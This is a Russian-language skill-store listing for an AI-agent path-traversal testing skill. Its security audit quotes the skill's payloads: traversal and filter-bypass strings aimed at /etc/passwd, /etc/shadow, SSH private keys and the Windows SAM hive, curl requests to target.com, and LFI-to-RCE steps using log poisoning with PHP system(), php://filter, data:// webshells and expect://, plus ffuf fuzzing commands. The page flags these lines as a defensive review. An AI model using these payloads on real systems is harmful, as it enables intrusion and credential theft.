Навыки file-path-traversal
📦
file-path-traversal
Ревизия содержимого r1 Критично ⚙️ Внешние команды🌐 Доступ к сети📁 Доступ к файловой системе
Проверка раскрытия через обход путей
Уязвимости обхода путей могут раскрывать серверные файлы и учетные данные. Этот навык помогает авторизованным тестировщикам проходить этапы обнаружения, валидации, оценки воздействия и устранения.
Поддерживает: Claude Codex Code(CC)
Не устанавливайте этот Skill автоматически.
Каноническая политика требует проверки оператором перед любым действием по установке.
Установить с помощью моего Агента
Скопируйте этот запрос в своего Агента. Он содержит каноническую страницу Skill и манифест.
Запрос агента
Review the Skillstore skill "file-path-traversal" from https://skillstore.io/skills/sickn33-file-path-traversal.md and its manifest at https://skillstore.io/api/skills/sickn33-file-path-traversal/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Ваш Агент по-прежнему должен показать план и запросить все подтверждения, требуемые политикой безопасности.
Ресурсы для AI-агентов
Используйте эти ссылки, когда AI-агенту, crawler или script нужен чистый контекст вместо полной страницы.
Протестировать
Использование «file-path-traversal». Авторизованный стейджинговый эндпоинт принимает параметр file для скачивания.
Ожидаемый результат:
- План оценки с областью работ, безопасными тест-кейсами и условиями остановки.
- Чеклист доказательств, который избегает сбора приватных ключей или хешей паролей.
- Рекомендации по устранению с использованием allowlist и проверок канонического пути.
Использование «file-path-traversal». Разработчику нужно исправить небезопасный доступ к файлам в веб-обработчике.
Ожидаемый результат:
- Сводка первопричины для построения пути без санитизации.
- Рекомендуемая стратегия валидации с использованием канонических путей и одобренных имен файлов.
- Идеи регрессионных тестов для обхода путей, кодирования и входных данных с абсолютными путями.
Использование «file-path-traversal». Руководителю AppSec нужен текст отчета для подтвержденного раскрытия через обход путей.
Ожидаемый результат:
- Сводка бизнес-воздействия с отредактированными чувствительными данными.
- Обоснование серьезности на основе доступных файлов и контекста приложения.
- Конкретные шаги по устранению и критерии проверки.
Аудит безопасности
Критичноv6 • 09.07.2026 Открыть версионный отчет
The skill is explicitly offensive and includes payloads for sensitive file disclosure, SSH key targeting, SAM hive access, and LFI-to-RCE escalation. Markdown backtick detections are false positives, but most filesystem, sensitive file, network exploit, and blocker findings are confirmed.
1
Просканировано файлов
493
Проанализировано строк
64
Пункты проверки
0
Ложные срабатывания проигнорированы
Подтверждённые проблемы безопасности (48)
Критично
SSH directory access
/root/.ssh/id_rsa # Root private key
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Критично
SSH directory access
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Критично
SSH directory access
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Критично
SSH private key file
/root/.ssh/id_rsa # Root private key
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Критично
SSH private key file
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Критично
SSH private key file
C:\Users\<user>\.ssh\id_rsa
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Критично
Windows SAM/registry hive access
C:\windows\system32\config\SAM
The line targets the Windows SAM registry hive. Disclosure can expose local account credential material.
Критично
System password file access
../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Показать все подтверждённые находки (48)
Критично
System password file access
../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
../../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
../../../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
curl "http://target.com/image?filename=../../../etc/passwd"
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
curl "http://target.com/download?file=....//....//....//etc/passwd"
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
/etc/shadow
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
....//....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
....\/....\/....\/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
..././..././..././etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
%2e%2e/%2e%2e/%2e%2e/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
../../../etc/passwd%00.jpg
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
../../../etc/passwd%00.png
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
../../../etc/passwd...............................
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
../../../etc/passwd.jpg.php
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
/var/www/images/../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
images/../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
/etc/passwd # User accounts
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
/etc/shadow # Password hashes (root only)
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
# Traverse to /etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
....//....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
..;/..;/..;/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
../../../etc/passwd%00.jpg
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
| `../../../etc/passwd` | Linux password file |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
| `....//....//....//etc/passwd` | Bypass simple filter |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
| `/etc/passwd` | Absolute path |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
| Linux | `/etc/passwd` | User accounts |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System password file access
| Linux | `/etc/shadow` | Password hashes |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Критично
System reconnaissance
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The whoami check is embedded in an LFI-to-RCE validation flow. It supports command execution confirmation on a target system.
Критично
System reconnaissance
"http://target.com/page?file=/proc/self/environ&c=whoami"
The whoami check is embedded in an LFI-to-RCE validation flow. It supports command execution confirmation on a target system.
Критично
Explicit Offensive Exploitation Intent
The skill states that it identifies and exploits path traversal and lists exploitation proof with extracted file contents as a deliverable.
The purpose and deliverables explicitly prioritize exploitation and extracted file contents. This is intent-level evidence beyond individual payload strings.
Критично
LFI to Remote Code Execution Escalation
The skill provides log poisoning, proc environment, PHP wrapper, data wrapper, and expect wrapper escalation paths from LFI to command execution.
The section is explicitly titled as escalation and includes command execution techniques. The intent is clear and technically actionable.
Высокий
SSH host/auth files
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Высокий
Crypto seed/private key mention
/root/.ssh/id_rsa # Root private key
The line explicitly references private key material. This is sensitive credential content even when shown as a test target.
Высокий
Crypto seed/private key mention
/home/<user>/.ssh/id_rsa # User private keys
The line explicitly references private key material. This is sensitive credential content even when shown as a test target.
Высокий
Automated Fuzzing Against Web Targets
The skill walks users through Burp Intruder, ffuf, and wfuzz workflows to attack file parameters and filter successful responses.
The section provides a complete automated testing workflow against target URLs. It can be legitimate only inside authorized scope.
Низкий
System reconnaissance
/etc/hostname # System hostname
The line lists /etc/hostname as a traversal target. Hostname disclosure supports system reconnaissance.
Пункты проверки возможностей (64)
Это реальные локальные возможности, которые могут ожидаться для этого навыка, поэтому они требуют проверки, но не считаются подтверждённым вредоносным поведением.
Критично
Ruby/PHP system() call
curl -A "<?php system('id'); ?>" \
The example embeds PHP system() inside an LFI exploitation workflow. It teaches command execution on a target, not only benign detection.
Критично
Ruby/PHP system() call
curl -X POST -d "<?php system('id'); ?>" \
The example embeds PHP system() inside an LFI exploitation workflow. It teaches command execution on a target, not only benign detection.
Критично
Hardcoded URL
curl "http://target.com/image?filename=../../../etc/passwd"
The HTTP request template attempts to retrieve /etc/passwd through traversal. The placeholder host does not remove the sensitive file access intent.
Критично
Hardcoded URL
curl "http://target.com/download?file=....//....//....//etc/passwd"
The HTTP request template attempts to retrieve /etc/passwd through traversal. The placeholder host does not remove the sensitive file access intent.
Критично
Hardcoded URL
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Критично
Hardcoded URL
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Критично
Hardcoded URL
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Критично
Hardcoded URL
"http://target.com/page?file=/proc/self/environ"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Критично
Hardcoded URL
"http://target.com/page?file=/proc/self/environ&c=whoami"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Критично
Hardcoded URL
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Критично
Hardcoded URL
"http://target.com/page?file=php://input"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Критично
Hardcoded URL
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Критично
Hardcoded URL
curl "http://target.com/page?file=expect://id"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Критично
Hidden file access
/root/.ssh/id_rsa # Root private key
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
Критично
Hidden file access
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
Критично
Hidden file access
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
Критично
Linux /proc filesystem access
/proc/self/environ
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Критично
Linux /proc filesystem access
/proc/self/environ # Environment variables
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Критично
Linux /proc filesystem access
"http://target.com/page?file=/proc/self/environ"
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Критично
Linux /proc filesystem access
"http://target.com/page?file=/proc/self/environ&c=whoami"
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Критично
Linux /proc filesystem access
| Linux | `/proc/self/environ` | Environment vars |
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Высокий
Hardcoded URL
ffuf -u "http://target.com/image?filename=FUZZ" \
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
Высокий
Hardcoded URL
ffuf -u "http://target.com/page?file=FUZZ" \
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
Высокий
Hardcoded URL
"http://target.com/index.php?file=FUZZ"
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
Высокий
Hardcoded URL
"http://target.com/load?path=FUZZ"
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
Высокий
Path traversal sequence
- `../` sequence moves up one directory
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
../../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
../../../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
..\..\..\windows\win.ini
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
..\..\..\..\windows\system32\drivers\etc\hosts
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
..%2F..%2F..%2Fetc%2Fpasswd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
curl "http://target.com/image?filename=../../../etc/passwd"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
curl "http://target.com/download?file=....//....//....//etc/passwd"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
# When ../ is stripped once
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
....//....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
....\/....\/....\/etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
..././..././..././etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
..%2f..%2f..%2fetc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
../../../etc/passwd%00.jpg
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
../../../etc/passwd%00.png
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
../../../etc/passwd...............................
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
../../../etc/passwd.jpg.php
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
/var/www/images/../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
images/../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
..%5c
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
....\\....\\etc\\passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
..%2F..%2F..%2Fetc%2Fpasswd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
....//....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
../../../etc/passwd%00.jpg
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
| `../../../etc/passwd` | Linux password file |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
| `..\..\..\..\windows\win.ini` | Windows INI file |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
| `....//....//....//etc/passwd` | Bypass simple filter |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
| URL Encoding | `%2e%2e%2f` = `../` |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Path traversal sequence
| Double Encoding | `%252e%252e%252f` = `../` |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Высокий
Hidden file access
/var/www/html/.htaccess
The line targets a hidden web server configuration file. Disclosure can reveal access controls, routing, or deployment details.
Высокий
Linux /proc filesystem access
/proc/self/cmdline # Process command line
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
Высокий
Linux /proc filesystem access
/proc/self/fd/0 # File descriptors
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
Высокий
Linux /proc filesystem access
/proc/version # Kernel version
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
Факторы риска
⚙️ Внешние команды (50)
SKILL.md:46-53 SKILL.md:53-56 SKILL.md:56-70 SKILL.md:70-90 SKILL.md:90-93 SKILL.md:93-94 SKILL.md:94-95 SKILL.md:95-96 SKILL.md:96-97 SKILL.md:97-103 SKILL.md:103-121 SKILL.md:121-125 SKILL.md:125-136 SKILL.md:136-142 SKILL.md:142-155 SKILL.md:155-159 SKILL.md:159-169 SKILL.md:169-173 SKILL.md:173-179 SKILL.md:179-183 SKILL.md:183-199 SKILL.md:199-205 SKILL.md:205-244 SKILL.md:244-250 SKILL.md:250-273 SKILL.md:273-279 SKILL.md:279-286 SKILL.md:286-290 SKILL.md:290-300 SKILL.md:300-304 SKILL.md:304-314 SKILL.md:314-320 SKILL.md:320-330 SKILL.md:330-334 SKILL.md:334-342 SKILL.md:342-346 SKILL.md:346-359 SKILL.md:359-365 SKILL.md:365-390 SKILL.md:390-396 SKILL.md:396-416 SKILL.md:416-418 SKILL.md:418-432 SKILL.md:432-440 SKILL.md:440-441 SKILL.md:441-442 SKILL.md:442-443 SKILL.md:443-444 SKILL.md:444-450 SKILL.md:450-451
🌐 Доступ к сети (15)
📁 Доступ к файловой системе (47)
SKILL.md:56 SKILL.md:105 SKILL.md:106 SKILL.md:107 SKILL.md:108 SKILL.md:111 SKILL.md:112 SKILL.md:115 SKILL.md:119 SKILL.md:120 SKILL.md:143 SKILL.md:144 SKILL.md:145 SKILL.md:148 SKILL.md:149 SKILL.md:152 SKILL.md:161 SKILL.md:162 SKILL.md:165 SKILL.md:168 SKILL.md:175 SKILL.md:178 SKILL.md:194 SKILL.md:198 SKILL.md:325 SKILL.md:329 SKILL.md:370 SKILL.md:373 SKILL.md:377 SKILL.md:384 SKILL.md:440 SKILL.md:441 SKILL.md:442 SKILL.md:461 SKILL.md:462 SKILL.md:215 SKILL.md:216 SKILL.md:217 SKILL.md:231 SKILL.md:130 SKILL.md:235 SKILL.md:236 SKILL.md:237 SKILL.md:238 SKILL.md:337 SKILL.md:341 SKILL.md:452
Обнаруженные паттерны
SSH directory access×3SSH private key file×3Windows SAM/registry hive accessSystem password file access×32System reconnaissance×3
Аудитор:: codex Посмотреть историю аудитов →
Поделиться и цитировать этот отчет
Делитесь версионным отчетом об оценке, нейтральным значком, встраиваемой карточкой и цитатами. Skillstore публикует доказательства, не решая, безопасен ли этот Skill.
Копировать ссылку на отчёт
https://skillstore.io/skills/sickn33-file-path-traversal/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportЗначок Markdown
[](https://skillstore.io/skills/sickn33-file-path-traversal?utm_source=security_passport_badge)Значок HTML
<a href="https://skillstore.io/skills/sickn33-file-path-traversal?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-file-path-traversal/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Встраиваемая карточка
<iframe src="https://skillstore.io/embed/skills/sickn33-file-path-traversal.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Академические ссылки (APA · BibTeX · CFF)
Цитата APA
zebbern. (2026). file-path-traversal security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-file-path-traversal/audits/6Цитата BibTeX
@techreport{zebbern-sickn33-file-path-traversal-2026,
author = {zebbern},
title = {file-path-traversal security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-file-path-traversal/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "file-path-traversal security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-file-path-traversal/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-file-path-traversal:audit:6"
description: "Skillstore immutable audit report identifier"
Оценка Skillstore
Почему такая оценка Достоверность доказательств: Средний 55
Архитектура
85
Сопровождаемость
85
Контент
69
Сообщество
83
Соответствие спецификации
Что вы можете построить
Проверка эндпоинтов скачивания
Проверить, могут ли параметры скачивания или просмотра файлов выйти за пределы предполагаемого каталога.
Подготовка тикетов на исправление
Преобразовать подтвержденное поведение обхода путей в понятное описание воздействия, доказательства и рекомендации по исправлению.
Проверка логики доступа к файлам
Сравнить обработку файлов в приложении с паттернами валидации канонических путей и allowlist.
Попробуйте эти промпты
Объяснить риск
Объясни, как path traversal может повлиять на эту авторизованную стейджинговую функцию. Сфокусируйся на безопасной валидации и шагах по устранению.
Создать план тестирования
Составь план тестирования path traversal для этого эндпоинта в области работ. Включи предварительные условия, обработку доказательств и условия остановки.
Проанализировать результаты
Проверь эти результаты авторизованного тестирования и классифицируй воздействие. Отредактируй чувствительные данные и порекомендуй исправления для каждого затронутого параметра.
Спланировать контролируемую эскалацию
Для одобренной лабораторной среды опиши, когда LFI может привести к выполнению кода. Включи согласования, ограничение области воздействия и безопасный сбор доказательств.
Лучшие практики
- Подтвердите письменную авторизацию и область работ перед запуском любого теста.
- Используйте canary-файлы или лабораторные фикстуры перед попытками обращения к чувствительным путям.
- Редактируйте секреты и сопровождайте каждую находку рекомендациями по устранению.
Избегать
- Запуск payload обхода путей против систем вне утвержденной области работ.
- Сбор приватных ключей, хешей паролей или токенов в качестве доказательства.
- Считать заблокированный payload доказательством того, что код безопасен.
Часто задаваемые вопросы
Кому следует использовать этот навык?
Тестировщики безопасности, инженеры AppSec и разработчики, работающие над авторизованными оценками веб-приложений.
Требует ли этот навык авторизации?
Да. Используйте его только при наличии письменного разрешения и четкой области работ.
Может ли он помочь с устранением проблемы?
Да. Он включает рекомендации по allowlist, каноническим путям и безопасному доступу к файлам.
Собирает ли он секреты автоматически?
Нет. Навык предоставляет только рекомендации, но небезопасные запросы могут привести к раскрытию чувствительных данных.
Какие инструменты он упоминает?
Он упоминает инструменты разработчика в браузере, Burp Suite, OWASP ZAP, cURL, ffuf и wfuzz.
Подходит ли он для тестирования в production?
Только при явном одобрении, аккуратных ограничениях скорости и правилах обработки доказательств.
Сведения для разработчиков
Автор
zebbernЛицензия
MIT
Ревизия Skillstore
r1
Примечание о версии
Автор не указал версию.
Репозиторий
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/file-path-traversalСсылка
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Актуальность поддержки
18.07.2026
Использование
10 загрузок · 148 просмотров
Структура файлов
📄 SKILL.md